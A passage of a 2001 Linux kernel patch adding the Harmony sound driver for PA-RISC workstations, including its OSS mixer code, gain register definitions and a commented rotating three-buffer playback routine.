+Obviously you can't be writing into either of these frames while the chip
+is playing, or you'll hear clicks, pops and out of order frames.  One weekend
+of listening to RMS sing The Free Software Song out of order is a good way to 
+drive this point home.
+
+So, we use a total of three frames.  One is in PLAYING mode, one is is 
+READY_TO_PLAY mode, and the third is either LOADED or EMPTY.  All buffers
+start up by being EMTPY.  When harmony_audio_write loads up two frames,
+interrupts are started and the loop starts.  The ISR pops in the first frame,
+marking it as PLAYING.  The ISR will get called again, and the second 
+frame will be loaded and marked as READY_TO_PLAY.  When the first frame is
+done, the ISR will be called again; frame one is marked as EMPTY to reload,
+frame two is marked PLAYING, frame three is marked READY_TO_PLAY.
+
+All the while, harmony_audio_write is looking for frames marked EMPTY, and
+filling them and marking them LOADED.
+
+Yes, this does actually work.
+
+Let me save you an entire Thursday of listening to "orvalds Linus Linux, I 
+prounouce as Linus This is" by giving you this rotating buffer code.
+
+*/
+
+
+
+/* 
+   The source code is splitted into two new files:
+   harmony_driver.c about hardware detectetion and
+   harmony_sound.c which manage /dev/dsp
+   
+   A new file, harmony_mixer.c, manage /dev/mixer.
+
+                                 Matthieu Delahaye
+*/
+
+
+
+
+#include "harmony.h"
+
+
+
+
+static struct harmony_dev harmony;
+
+
+static int 
+harmony_driver_callback(struct hp_device *d, struct pa_iodc_driver *dri)
+{
+	
+	u8	id;
+	u8	rev;
+	u32	cntl;
+	int ret;
+
+	/* Set the HPA of harmony */
+
+	harmony.hpa = d->hpa;
+
+	/* Grab an IRQ from Lasi */
+	harmony.irq = busdevice_alloc_irq(d);
+
+	if (!harmony.irq) {
+		printk(KERN_ERR "Harmony: problem getting irq\n");
+		return -1;
+	}
+
+	request_region(&harmony, 13, "harmony");
+
+	/* Grab the ID and revision from the device */
+	id = gsc_readb((void *) &(harmony.hpa->id));
+
+	if((id | 1) != 0x15) {
+		printk(KERN_WARNING "harmony_init: wrong id %02x\n", id);
+		return -EBUSY;
+	}
+	cntl = gsc_readl(&harmony.hpa->cntl);
+	rev = ((cntl>>20)&0xff);
+
+        printk(KERN_INFO "Lasi Harmony Audio rev. %i at 0x%x, using IRQ %i\n",rev,(unsigned int) d->hpa,harmony.irq);
+
+
+
+	
+	
+	
+	/* Make sure the control bit isn't set, although I don't think it 
+	   ever is. */
+
+	if(cntl & CNTL_C) {
+		printk(KERN_WARNING "harmony_init: CNTL busy\n");
+		return -EBUSY;
+	}
+
+	/* Initialize /dev/mixer and /dev/audio  */
+
+
+	if((ret=harmony_mixer_init(&harmony))) return ret;
+	if((ret=harmony_audio_init(&harmony))) return ret;
+
+
+	return 0;
+}
+
+
+
+/* This is the PDC signature to load up the driver. */
+
+
+static struct pa_iodc_driver harmony_drivers_for[] = {
+
+	{HPHW_FIO, 0x01B, 0, 0x0007B, 0x0, 0x0, 
+		DRIVER_CHECK_HWTYPE + DRIVER_CHECK_SVERSION,
+		"Lasi Harmony", "Harmony", (void *) harmony_driver_callback},
+	{0,0,0,0,0,0,0,
+	(char *) NULL,(char *) NULL,(void *) NULL}
+};
+
+
+void __init 
+register_harmony_drivers(void)
+{
+        register_driver(harmony_drivers_for);
+}
+
+/* This is the callback that's called by the inventory hardware code if
+it finds a match to the registered driver. */
+
+
+
+
+
+
+
+
+
+
+
diff -Nru linux.original/drivers/sound/harmony_mixer.c linux/drivers/sound/harmony_mixer.c
--- linux.original/drivers/sound/harmony_mixer.c	Thu Jan  1 01:00:00 1970
+++ linux/drivers/sound/harmony_mixer.c	Tue Jan 16 23:08:58 2001
@@ -0,0 +1,345 @@
+/*
+ * sound/harmony_mixer.c
+ *
+ * The low level mixer driver for the Harmony card.
+ */
+
+/*
+ *  function ioctl inspired from file sb_mixer.c
+ *  Matthieu Delahaye (2001)
+ */
+
+#include "sound_config.h"
+
+#include "harmony.h"
+#include "harmony_mixer.h"
+
+
+struct harmony_dev * harmony_mixer;
+
+
+/*
+ * This is the only place where the gainctl is written
+ */
+
+static void harmony_mixer_set_gain(void)
+{
+  int cntl;
+  while((cntl = gsc_readl(&harmony_mixer->hpa->cntl)) & CNTL_C);
+#if 0
+  printk(KERN_INFO "Harmony gain is now %x\n",harmony_mixer->current_gain);
+#endif
+  gsc_writel(harmony_mixer->current_gain, &harmony_mixer->hpa->gainctl);
+  while((cntl = gsc_readl(&harmony_mixer->hpa->cntl)) & CNTL_C);
+  
+}
+
+
+/* 
+ *  Read gain of selected channel.
+ *  The OSS rate is from 0 (silent) to 100 -> need some conversions
+ *
+ *  The harmony gain are attenuation for output and monitor gain.
+ *                   is amplifaction for input gain
+ */
+
+static int harmony_mixer_get_level(int channel)
+{
+  int left_level;
+  int right_level;
+
+  if(channel == SOUND_MIXER_OGAIN)
+    {
+      left_level=(harmony_mixer->current_gain & GAIN_LO_MASK) >> GAIN_LO_SHIFT;
+      right_level=(harmony_mixer->current_gain & GAIN_RO_MASK) >> GAIN_RO_SHIFT;
+      left_level=(MAX_OUTPUT_LEVEL - left_level) * 100 / MAX_OUTPUT_LEVEL;
+      right_level=(MAX_OUTPUT_LEVEL - right_level) * 100 / MAX_OUTPUT_LEVEL;
+      return (right_level << 8)+left_level;
+    }
+  if(channel == SOUND_MIXER_IGAIN)
+    {
+      left_level=(harmony_mixer->current_gain & GAIN_LI_MASK) >> GAIN_LI_SHIFT;
+      right_level=(harmony_mixer->current_gain & GAIN_RI_MASK) >> GAIN_RI_SHIFT;
+      left_level=left_level * 100 / MAX_INPUT_LEVEL;
+      right_level=right_level * 100 / MAX_INPUT_LEVEL;
+      return (right_level << 8)+left_level;
+    }
+  if(channel == SOUND_MIXER_VOLUME)
+    {
+      left_level=(harmony_mixer->current_gain & GAIN_MA_MASK) >> GAIN_MA_SHIFT;
+      left_level=(MAX_VOLUME_LEVEL-left_level)*100/MAX_VOLUME_LEVEL;
+      return left_level;
+    }
+  return -EINVAL;
+}
+
+
+/*
+ * Some conversions for the same reasons.
+ * We give back the new real value(s) due to
+ * the rescale.
+ */
+
+
+static int harmony_mixer_set_level(int channel, int value)
+{
+  int left_level;
+  int right_level;
+  int new_left_level;
+  int new_right_level;
+
+  right_level=(value & 0x0000ff00) >> 8;
+  left_level=value & 0x000000ff;
+  
+  if(channel == SOUND_MIXER_OGAIN)
+    {
+      right_level=(100-right_level)*MAX_OUTPUT_LEVEL/100;
+      left_level=(100-left_level)*MAX_OUTPUT_LEVEL/100;
+      new_right_level=(MAX_OUTPUT_LEVEL - right_level) * 100 / MAX_OUTPUT_LEVEL;
+      new_left_level=(MAX_OUTPUT_LEVEL - left_level) * 100 / MAX_OUTPUT_LEVEL;
+      harmony_mixer->current_gain=(harmony_mixer->current_gain & ~(GAIN_LO_MASK | GAIN_RO_MASK)) | (left_level << GAIN_LO_SHIFT) | (right_level << GAIN_RO_SHIFT);
+      harmony_mixer_set_gain();
+      return (new_right_level << 8) + new_left_level;
+
+    }
+  if(channel == SOUND_MIXER_IGAIN)
+    {
+      
+      right_level=right_level*MAX_INPUT_LEVEL/100;
+      left_level=left_level*MAX_INPUT_LEVEL/100;
+      new_right_level=right_level * 100 / MAX_INPUT_LEVEL;
+      new_left_level=left_level * 100 / MAX_INPUT_LEVEL;
+      harmony_mixer->current_gain=(harmony_mixer->current_gain & ~(GAIN_LI_MASK | GAIN_RI_MASK)) | (left_level << GAIN_LI_SHIFT) | (right_level << GAIN_RI_SHIFT);
+      harmony_mixer_set_gain();
+      return (new_right_level << 8) + new_left_level;
+      
+    }
+  if(channel == SOUND_MIXER_VOLUME)
+    {
+      
+      left_level=(100-left_level)*MAX_VOLUME_LEVEL/100;
+      new_left_level=(MAX_VOLUME_LEVEL-left_level)*100/MAX_VOLUME_LEVEL;
+      harmony_mixer->current_gain=(harmony_mixer->current_gain & ~GAIN_MA_MASK)| (left_level << GAIN_MA_SHIFT);
+      harmony_mixer_set_gain();
+      return new_left_level;
+    }
+ 
+  return -EINVAL;
+}
+
+
+/* 
+ * Return the selected input device (mic or line)
+ */
+
+static int harmony_mixer_get_recmask(void)
+{
+  int current_input_line;
+
+  current_input_line=(harmony_mixer->current_gain & GAIN_IS_MASK) >> GAIN_IS_SHIFT;
+  if(current_input_line) return SOUND_MASK_MIC;
+  else return SOUND_MASK_LINE;
+}
+
+/*
+ * Set the input (only one at time, arbitrary priority to line in)
+ */
+
+static int harmony_mixer_set_recmask(int recmask)
+{
+  int new_input_line;
+  int new_input_mask;
+
+  if((recmask & SOUND_MASK_LINE))
+    {
+      new_input_line=0;
+      new_input_mask=SOUND_MASK_LINE;
+    }
+  else
+    {
+      new_input_line=1;
+      new_input_mask=SOUND_MASK_MIC;
+    }
+  harmony_mixer->current_gain=((harmony_mixer->current_gain & ~GAIN_IS_MASK) | (new_input_line << GAIN_IS_SHIFT ));
+  harmony_mixer_set_gain();
+  return new_input_mask;
+}
+
+
+/* 
+ * give the active outlines
+ */
+
+static int harmony_mixer_get_outmask(void)
+{
+  int outmask;
+
+  outmask=0;
+
+  if(harmony_mixer->current_gain & GAIN_HE_MASK) outmask |=SOUND_MASK_PHONEOUT;
+  if(harmony_mixer->current_gain & GAIN_LE_MASK) outmask |=SOUND_MASK_LINE;
+  if(harmony_mixer->current_gain & GAIN_SE_MASK) outmask |=SOUND_MASK_SPEAKER;
+  return outmask;
+}
+
+
+
+static int harmony_mixer_set_outmask(int outmask)
+{
+  if(outmask & SOUND_MASK_PHONEOUT) 
+    harmony_mixer->current_gain|=GAIN_HE_MASK; 
+  else harmony_mixer->current_gain&=~GAIN_HE_MASK;
+  if(outmask & SOUND_MASK_LINE) harmony_mixer->current_gain|=GAIN_LE_MASK;
+  else harmony_mixer->current_gain&=~GAIN_LE_MASK;
+  if(outmask & SOUND_MASK_SPEAKER) harmony_mixer->current_gain|=GAIN_SE_MASK;
+  else harmony_mixer->current_gain&=~GAIN_SE_MASK;
+  harmony_mixer_set_gain();
+  return (outmask & (SOUND_MASK_PHONEOUT | SOUND_MASK_LINE | SOUND_MASK_SPEAKER));
+
+}
+
+/*
+ * This code is inspired from sb_mixer.c
+ * It determins actions selected by application
+ */
+
+int harmony_mixer_ioctl(struct inode * inode, struct file * file, unsigned int cmd, unsigned long arg)
+{
+  int val;
+  int ret;
+
+  if (((cmd >> 8) & 0xff) == 'M') 
+    {
+      if (_SIOC_DIR(cmd) & _SIOC_WRITE) 
+	{
+	  if (get_user(val, (int *)arg))
+	    return -EFAULT;
+     
+	  switch (cmd & 0xff) 
+	    {
+	    case SOUND_MIXER_RECSRC:
+	      ret = harmony_mixer_set_recmask(val);
+	      break;
+	      
+	    case SOUND_MIXER_OUTSRC:
+	      ret = harmony_mixer_set_outmask(val);
+	      break;
+	      
+	    default:
+	      ret = harmony_mixer_set_level(cmd & 0xff, val);
+	    }
+	}
+      else
+	{
+	  
+	  switch (cmd & 0xff) 
+	    {
+	      
+	    case SOUND_MIXER_RECSRC:
+	      ret = harmony_mixer_get_recmask();
+	      break;
+	      
+	    case SOUND_MIXER_OUTSRC:
+	      ret = harmony_mixer_get_outmask();
+	      break;
+	      
+	    case SOUND_MIXER_DEVMASK:
+	      ret = HARMONY_MIXER_DEVICES;
+	      break;
+	      
+	    case SOUND_MIXER_STEREODEVS:
+	      ret = HARMONY_STEREO_DEVICES;
+	      break;
+	      
+	    case SOUND_MIXER_RECMASK:
+	      ret = HARMONY_RECORDING_DEVICES;
+	      break;
+	      
+	    case SOUND_MIXER_OUTMASK:
+	      ret = HARMONY_OUTPUT_DEVICES;
+	      break;
+	      
+	    case SOUND_MIXER_CAPS:
+	      ret = HARMONY_CAPS;
+	      break;
+	      
+	    default:
+	      ret = harmony_mixer_get_level(cmd & 0xff);
+	      break;
+	    }
+	}
+      return put_user(ret, (int *)arg); 
+    } else
+      return -EINVAL;
+}
+
+static struct file_operations harmony_mixer_fops =
+{
+	owner:	THIS_MODULE,
+	llseek: NULL,
+	read:   NULL,
+	write:	NULL,
+	poll: 	NULL,
+	ioctl: 	harmony_mixer_ioctl,
+	mmap:	NULL,
+	open: 	NULL,
+	release:NULL,
+};
+
+
+/*
+ * Mute all the output and reset Harmony.
+ */
+
+void harmony_mixer_reset(void)
+{
+  harmony_mixer->current_gain=GAIN_TOTAL_SILENCE;
+  harmony_mixer_set_gain();
+  gsc_writel(1, &harmony_mixer->hpa->reset);
+  udelay(100);
+  gsc_writel(0, &harmony_mixer->hpa->reset);
+  harmony_mixer->current_gain=GAIN_DEFAULT;
+  harmony_mixer_set_gain();
+
+
+}
+
+int harmony_mixer_init(struct harmony_dev * harmony_device)
+{
+  
+  int ret;
+  harmony_mixer=harmony_device;
+  
+  /* Register the device file operations */
+
+  ret=register_sound_mixer(&harmony_mixer_fops,-1);
+  if(ret<0){
+    printk(KERN_WARNING "Harmony: Error Registering Mixer Driver\n");
+    return -EFAULT;
+      }
+  
+  harmony_mixer_reset();
+  
+  return 0;
+}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff -Nru linux.original/drivers/sound/harmony_mixer.h linux/drivers/sound/harmony_mixer.h
--- linux.original/drivers/sound/harmony_mixer.h	Thu Jan  1 01:00:00 1970
+++ linux/drivers/sound/harmony_mixer.h	Tue Jan 16 23:08:50 2001
@@ -0,0 +1,58 @@
+/*
+ * sound/harmony_mixer.h
+ * 
+ * Definitions for the Harmony mixer
+ */
+/*
+ * Copyright (C) by Matthieu Delahaye 2001
+ *
+ * OSS/Free for Linux is distributed under the GNU GENERAL PUBLIC LICENSE (GPL)
+ * Version 2 (June 1991). See the "COPYING" file distributed with this software
+ * for more info.
+ */
+
+/*
+ * Channels Positions in mixer register
+ */
+
+#define GAIN_HE_SHIFT   27
+#define GAIN_HE_MASK    ( 1 << GAIN_HE_SHIFT) 
+#define GAIN_LE_SHIFT   26
+#define GAIN_LE_MASK    ( 1 << GAIN_LE_SHIFT) 
+#define GAIN_SE_SHIFT   25
+#define GAIN_SE_MASK    ( 1 << GAIN_SE_SHIFT) 
+#define GAIN_IS_SHIFT   24
+#define GAIN_IS_MASK    ( 1 << GAIN_IS_SHIFT) 
+#define GAIN_MA_SHIFT   20
+#define GAIN_MA_MASK    ( 0x0f << GAIN_MA_SHIFT) 
+#define GAIN_LI_SHIFT   16
+#define GAIN_LI_MASK    ( 0x0f << GAIN_LI_SHIFT) 
+#define GAIN_RI_SHIFT   12
+#define GAIN_RI_MASK    ( 0x0f << GAIN_RI_SHIFT) 
+#define GAIN_LO_SHIFT   6
+#define GAIN_LO_MASK    ( 0x3f << GAIN_LO_SHIFT) 
+#define GAIN_RO_SHIFT   0
+#define GAIN_RO_MASK    ( 0x3f << GAIN_RO_SHIFT) 
+
+#define GAIN_TOTAL_SILENCE 0x00F00FFF
+#define GAIN_DEFAULT       0x0FF00FFF
+
+#define MAX_OUTPUT_LEVEL (GAIN_RO_MASK >> GAIN_RO_SHIFT)
+#define MAX_INPUT_LEVEL  (GAIN_RI_MASK >> GAIN_RI_SHIFT)
+#define MAX_VOLUME_LEVEL (GAIN_MA_MASK >> GAIN_MA_SHIFT)
+
+
+#define HARMONY_MIXER_DEVICES (SOUND_MASK_OGAIN|SOUND_MASK_IGAIN|SOUND_MASK_VOLUME)
+#define HARMONY_RECORDING_DEVICES (SOUND_MASK_MIC | SOUND_MASK_LINE )
+#define HARMONY_OUTPUT_DEVICES (SOUND_MASK_SPEAKER | SOUND_MASK_LINE | SOUND_MASK_PHONEOUT )
+#define HARMONY_CAPS 1
+#define HARMONY_STEREO_DEVICES (SOUND_MASK_IGAIN | SOUND_MASK_OGAIN)
+
+/*
+ * Channels Mask in mixer register
+ */
+
+
+
+
+
diff -Nru linux.original/drivers/sound/harmony_sound.c linux/drivers/sound/harmony_sound.c
--- linux.original/drivers/sound/harmony_sound.c	Thu Jan  1 01:00:00 1970
+++ linux/drivers/sound/harmony_sound.c	Tue Jan 16 23:09:19 2001
@@ -0,0 +1,603 @@
+/* 
+
+ 	drivers/sound/harmony.c 
+
+	This is a sound driver for Lasi's Harmony sound chip.  This is
+	unlikely to be used for anything other than a PA-RISC.
+
+	Harmony is found in HP 712s, 715/new, and many other GSC based machines. 
+Copyright 2000 (c) Linuxcare Canada, Alex deVries <alex@linuxcare.com>
+
+Bugs:
+
+1. Doesn't work on 715/old
+
+This driver doesn't work on 715/old machines, which include the 715/75.  The
+chip used for this is technically called 'Vivace', which is identical to 
+Harmony.  Should be easy to fix.  It has something to do with the way it is
+reported by the inventory code.  The HPA is not that of Lasi or ASP so the
+interrupts aren't registered properly.
+
+3. gain control ioctls are missing
+4. recording is missing
+
+5. Buffer handling code
+
+The three buffer system should probably be changed to use N buffers, so we 
+can load the buffers into memory and then exit.  Shouldn't be too hard, and 
+the performance will be a lot nicer.
+
+6. Clicks at start and finish
+
+I'm not sure why, but somehow I've introduced two clicks at the start and
+two clicks at the finish of each playing.  Shouldn't be too hard to track down.
+
+
+About the rotating buffer
+-------------------------
+
+I'm going to explain how the rotating buffer thing works because I had a hard
+time figuring it out for myself.
+
+At any given time, harmony uses two different buffers.  One is the frame
+that is currently playing, another is the frame that is ready to be played.
+
+Obviously you can't be writing into either of these frames while the chip
+is playing, or you'll hear clicks, pops and out of order frames.  One weekend
+of listening to RMS sing The Free Software Song out of order is a good way to 
+drive this point home.
+
+So, we use a total of three frames.  One is in PLAYING mode, one is is 
+READY_TO_PLAY mode, and the third is either LOADED or EMPTY.  All buffers
+start up by being EMTPY.  When harmony_audio_write loads up two frames,
+interrupts are started and the loop starts.  The ISR pops in the first frame,
+marking it as PLAYING.  The ISR will get called again, and the second 
+frame will be loaded and marked as READY_TO_PLAY.  When the first frame is
+done, the ISR will be called again; frame one is marked as EMPTY to reload,
+frame two is marked PLAYING, frame three is marked READY_TO_PLAY.
+
+All the while, harmony_audio_write is looking for frames marked EMPTY, and
+filling them and marking them LOADED.
+
+Yes, this does actually work.
+
+Let me save you an entire Thursday of listening to "orvalds Linus Linux, I 
+prounouce as Linus This is" by giving you this rotating buffer code.
+
+*/
+
+
+/* 
+   Changeg struct harmony_dev named harmony to 
+   a pointer (named harmony_audio) to the same structure
+   
+   Putted out all access to gain and reset 
+   (harmony_mixer now managed these)
+
+                                  Matthieu Delahaye
+
+*/
+
+
+/* Until we have recording working, this is where we're putting the recording data. */
+
+/* The following is required because of our cache incoherence */
+#include "harmony.h"
+static char graveyard[4096] __attribute__((aligned(4096)));
+
+static unsigned char aligned_buf [4096*(MAX_BUFS+1)] __attribute__ ((aligned (4096))); 
+
+
+
+static int harmony_audio_open(struct inode *inode, struct file *file);
+static int harmony_audio_release(struct inode *inode, struct file *file);
+static loff_t harmony_audio_llseek(struct file *file, loff_t offset, int whence);
+static ssize_t harmony_audio_read(struct file *file,
+                                char *buffer,
+                                size_t count,
+                                loff_t *ppos);
+static ssize_t harmony_audio_write(struct file *file,
+                                 const char *buffer,
+                                 size_t count,
+                                 loff_t *ppos);
+static unsigned int harmony_audio_poll(struct file *file,
+                                     struct poll_table_struct *wait);
+static int harmony_audio_ioctl(struct inode *inode,
+                                struct file *file,
+                                unsigned int cmd,
+                                unsigned long arg);
+static int harmony_audio_mmap(struct file *file, struct vm_area_struct *vma);
+
+
+static void harmony_interrupt(int irq, void *dev, struct pt_regs *regs);
+
+static void harmony_set_control(u8 data_format, u8 sample_rate, u8 stereo_select) ;
+static void harmony_set_format(u8 data_format);
+static void harmony_set_rate(u8 data_rate);
+static int harmony_enable_interrupts(void); 
+static int harmony_disable_interrupts(void);
+static int harmony_silence(unsigned char * buffer,int end, int start);
+
+static struct file_operations harmony_audio_fops = {
+	owner: THIS_MODULE,
+	llseek: harmony_audio_llseek,
+	read: 	harmony_audio_read,
+	write:	harmony_audio_write,
+	poll: 	harmony_audio_poll,
+	ioctl: 	harmony_audio_ioctl,
+	mmap:	harmony_audio_mmap,
+	open: 	harmony_audio_open,
+	release:	harmony_audio_release,
+};
+
+static struct harmony_dev * harmony_audio;
+
+/* This is the PDC signature to load up the driver. */
+
+
+/* This is the callback that's called by the inventory hardware code if
+it finds a match to the registered driver. */
+
+static void harmony_update_control(void) {
+	u32 default_cntl;
+
+	/* Set CNTL */
+	default_cntl = ((1 << 31) |  /* The C bit */
+		(harmony_audio->data_format << 6) |   /* Set the data format */
+		(harmony_audio->stereo_select << 5) |   /* Stereo select */
+		(harmony_audio->sample_rate));        /* Set sample rate */
+
+	/* initialize CNTL */
+	gsc_writel( default_cntl, &harmony_audio->hpa->cntl);
+}
+
+static void harmony_set_control(u8 data_format, u8 sample_rate, u8 stereo_select) {
+
+	harmony_audio->sample_rate = sample_rate;
+	harmony_audio->data_format = data_format;
+	harmony_audio->stereo_select = stereo_select;
+	harmony_update_control();
+}
+static void harmony_set_rate(u8 data_rate) {
+	harmony_audio->sample_rate = data_rate;
+	harmony_update_control();
+}
+
+static void harmony_set_format(u8 data_format) {
+
+	harmony_audio->data_format = data_format;
+	harmony_update_control();
+}
+
+static void harmony_set_stereo(u8 stereo_select) {
+
+	harmony_audio->stereo_select = stereo_select;
+	harmony_update_control();
+}
+
+static int harmony_disable_interrupts(void) {
+	/* Enable interrupts to start playing again */
+	gsc_writel(0,&(harmony_audio->hpa->dstatus)); 
+	return 0;
+}
+
+static int harmony_enable_interrupts(void) {
+	/* Enable interrupts to start playing again */
+	gsc_writel(DSTATUS_IE,&(harmony_audio->hpa->dstatus)); 
+	return 0;
+}
+
+/*
+ * silence()
+ *
+ * This subroutine fills in a buffer starting at location start and
+ * silences for length bytes.  This references the current
+ * configuration of the audio format.
+ *
+ */
+
+static int harmony_silence(unsigned char * buffer,int start, int length) {
+
+	u8 silence_char = 0;
+
+	/* Despite what you hear, silence is different in
+	   different audio formats.  */
+
+	switch (harmony_audio->data_format) {
+		case HARMONY_DF_16BIT_LINEAR: silence_char = 0; break;
+		case HARMONY_DF_8BIT_ULAW:	silence_char = 0x55; break;
+		case HARMONY_DF_8BIT_ALAW:	silence_char = 0xff; break;
+		default: silence_char = 0;
+	}
+
+	memset(aligned_buf+start,silence_char, length);
+	return 0;
+}
+
+
+static int harmony_audio_open(struct inode *inode, struct file *file)
+{
+	int i;
+	u32	cntl;
+
+	/* Clear out the state of all the buffers */
+	for (i=0;i<MAX_BUFS;i++) {
+		harmony_audio->buf_state[i] = HARMONY_BUF_EMPTY;
+	}
+	harmony_audio->frames_so_far = 0;
+	harmony_audio->done = 0;
+	harmony_audio->outstanding_buffers = 0; /* Start off in a balanced mode. */
+	harmony_set_control(HARMONY_DF_8BIT_ULAW,HARMONY_SR_8KHZ,HARMONY_SS_STEREO); 
+
+	/* Clear out all the buffers and flush to cache */
+	harmony_silence(aligned_buf,0,4096*MAX_BUFS);
+	CHECK_WBACK_INV(aligned_buf,4096*MAX_BUFS);
+
+	while((cntl = gsc_readl(&harmony_audio->hpa->cntl)) & CNTL_C);
+
+	return 0;
+}
+
+/*
+ * Release (close) the audio device.
+ */
+
+static int harmony_audio_release(struct inode *inode, struct file *file)
+{
+
+	return 0;
+}
+static loff_t harmony_audio_llseek(struct file *file, loff_t offset, int whence)
+{
+	printk(KERN_ERR "harmony: llseek\n");
+	return -ENODEV;
+}
+
+static ssize_t harmony_audio_read(struct file *file,
+                                char *buffer,
+                                size_t count,
+                                loff_t *ppos)
+{
+	printk(KERN_ERR "harmony: read\n");
+	return -ENODEV;
+}
+
+static int find_free_buffer(void) {
+
+	int i,buf_to_fill_in = -1;
+
+	for (i=MAX_BUFS-1;i>=0;i--) {
+		if (harmony_audio->buf_state[i] == HARMONY_BUF_EMPTY) {
+			buf_to_fill_in = i;
+		}
+	}
+	return buf_to_fill_in;
+}
+
+
+static ssize_t harmony_audio_write(struct file *file,
+                                 const char *buffer,
+                                 size_t size_count,
+                                 loff_t *ppos)
+{
+
+	u32 status;
+	int total_count = (int) size_count;
+	int count = 0;
+	int frame_size;
+	int buf_to_fill_in = 0;
+	long timeout ;
+	int dstatus,cntl;
+	
+	while(count < total_count) {
+
+		/* Wait until we're out of control mode */
+		while ((status = gsc_readl(&(harmony_audio->hpa->cntl))) >> 31); 
+
+		/* Figure out which buffer to fill in */
+		timeout = 0;
+		buf_to_fill_in = HARMONY_BUF_NONE;
+		while ((buf_to_fill_in<0) && (timeout<100000)) {
+			buf_to_fill_in = find_free_buffer();
+			if (buf_to_fill_in < 0) {
+				udelay(10);
+				timeout++;
+			}
+		}
+		if (timeout==100000) {
+			return -1;
+		}
+
+		/* Figure out the size of the frame */
+		if ((total_count - count) > 4095) {
+			frame_size = 4096;
+		} else {
+			frame_size = total_count - count;
+			/* Clear out the buffer, since there we'll only be 
+			   overlaying part of the old buffer with the new one */
+			harmony_silence(aligned_buf,(4096*buf_to_fill_in), 4096);
+		}
+
+		/* Copy the page to an aligned buffer */
+		copy_from_user(aligned_buf+(4096*buf_to_fill_in), buffer,frame_size );
+		CHECK_WBACK_INV(aligned_buf,4096*MAX_BUFS);
+
+		harmony_audio->buf_state[buf_to_fill_in] = HARMONY_BUF_FILLED; 
+
+		harmony_audio->done = 0;
+		count += frame_size;
+
+		if (frame_size < 4096) {
+			count = total_count;
+			harmony_audio->done = 1;
+		}
+
+
+	dstatus = gsc_readl(&harmony_audio->hpa->dstatus);
+
+	cntl = gsc_readl(&harmony_audio->hpa->cntl);
+
+printk("write: buf: %i frame: %i done: %i cntl: 0x%x dstatus: 0x%x\n",buf_to_fill_in,harmony_audio->frames_so_far,harmony_audio->done,cntl,dstatus);
+
+
+
+		if (harmony_audio->frames_so_far == 1) {
+			gsc_writel(__pa(aligned_buf+(4096*0)),&(harmony_audio->hpa->pnxtadd));  
+			gsc_writel(__pa(graveyard),&(harmony_audio->hpa->rnxtadd));  
+			harmony_enable_interrupts();
+		}
+
+		harmony_audio->frames_so_far++;
+	}
+
+	return count;
+}
+static unsigned int harmony_audio_poll(struct file *file,
+                                     struct poll_table_struct *wait)
+{
+	printk(KERN_ERR "harmony: poll\n");
+	return -ENODEV;
+}
+
+#define DBGEV printk
+#define DBGX printk
+#define DBGP
+
+static int harmony_audio_ioctl(struct inode *inode,
+                                struct file *file,
+                                unsigned int cmd,
+                                unsigned long arg)
+{
+
+
+	unsigned long flags;
+	int ival;
+	u32 new_format,newrate;
+	
+	switch (cmd) {
+	case OSS_GETVERSION:		/* _SIOR ('M', 118, int) */
+		DBGX("OSS_GETVERSION\n");
+		ival = SOUND_VERSION;
+		return put_user(ival, (int *) arg);
+
+	case SNDCTL_DSP_GETCAPS:	/* _SIOR ('P',15, int) */
+		DBGX("SNDCTL_DSP_GETCAPS\n");
+		ival = DSP_CAP_DUPLEX | DSP_CAP_BATCH ;
+		return put_user(ival, (int *) arg);
+
+	case SNDCTL_DSP_GETFMTS:	/* _SIOR ('P',11, int) */
+		DBGX("SNDCTL_DSP_GETFMTS\n");
+		ival = (AFMT_S16_BE | AFMT_MU_LAW | AFMT_A_LAW ); 
+		return put_user(ival, (int *) arg);
+		break;
+
+	case SOUND_PCM_READ_RATE:	/* _SIOR ('P', 2, int) */
+/*
+		I have no idea what this should be. 
+*/
+		ival = 0;	
+		return put_user(ival, (int *) arg);
+
+	case SNDCTL_DSP_SPEED:
+
+		if (get_user(ival, (int *) arg))
+			return -EFAULT;
+		if (ival) {
+			switch(ival) {
+				case 8000: newrate = HARMONY_SR_8KHZ; break;
+				case 16000: newrate = HARMONY_SR_16KHZ; break; 
+				case 27428: newrate = HARMONY_SR_27KHZ; break; 
+				case 32000: newrate = HARMONY_SR_32KHZ; break; 
+				case 48000: newrate = HARMONY_SR_48KHZ; break; 
+				case 9600: newrate = HARMONY_SR_9KHZ; break; 
+				case 5125: newrate = HARMONY_SR_5KHZ; break; 
+				case 11025: newrate = HARMONY_SR_11KHZ; break; 
+				case 18900: newrate = HARMONY_SR_18KHZ; break; 
+				case 22050: newrate = HARMONY_SR_22KHZ; break; 
+				case 37800: newrate = HARMONY_SR_37KHZ; break; 
+				case 44100: newrate = HARMONY_SR_44KHZ; break; 
+				case 33075: newrate = HARMONY_SR_33KHZ; break; 
+				case 6615: newrate = HARMONY_SR_6KHZ; break; 
+				default: printk("Could not match rate %d\n",ival); newrate = HARMONY_SR_8KHZ;
+			}
+			harmony_set_rate(newrate);
+		} else {
+			ival = harmony_audio->sample_rate;
+		}
+		return put_user(ival,(int*) arg);
+
+	case SNDCTL_DSP_STEREO:		/* _SIOWR('P', 3, int) */
+		if (get_user(ival, (int *) arg))
+			return -EFAULT;
+		if (ival != 0 && ival != 1)
+			return -EINVAL;
+		harmony_set_stereo(ival);
+		return put_user(ival, (int *) arg);
+
+	case SNDCTL_DSP_GETBLKSIZE:	/* _SIOWR('P', 4, int) */
+		ival = 4096;
+		return put_user(ival, (int *) arg);
+	case SNDCTL_DSP_RESET:
+		return 0;
+
+	case SNDCTL_DSP_SETFMT:		/* _SIOWR('P',5, int) */
+		if (get_user(ival, (int *) arg)) {
+			printk("arg, couldn't get arg\n");
+			return -EFAULT;
+		}
+		if (ival != AFMT_QUERY) {
+			switch (ival) {
+				case AFMT_MU_LAW: new_format = HARMONY_DF_8BIT_ULAW; break;
+				case AFMT_A_LAW:	new_format = HARMONY_DF_8BIT_ALAW; break;
+				case AFMT_U16_BE:	new_format = HARMONY_DF_16BIT_LINEAR; break; 
+				default: {
+					printk("Invalid sound format %d\n",ival);
+					return -EINVAL;
+				}
+			}
+			harmony_set_format(new_format);
+		} else {
+			switch (harmony_audio->data_format) {
+				case HARMONY_DF_8BIT_ULAW: ival = AFMT_MU_LAW; break;
+				case HARMONY_DF_8BIT_ALAW: ival = AFMT_A_LAW; break;
+				case HARMONY_DF_16BIT_LINEAR:	ival = AFMT_U16_BE; break;
+				default: ival = 0;
+			}
+		}
+		return put_user(ival, (int *) arg);
+
+	default:
+		DBGP("------ OH NO unknown ioctl 0x%x\n", cmd);
+		return -EINVAL;
+	}
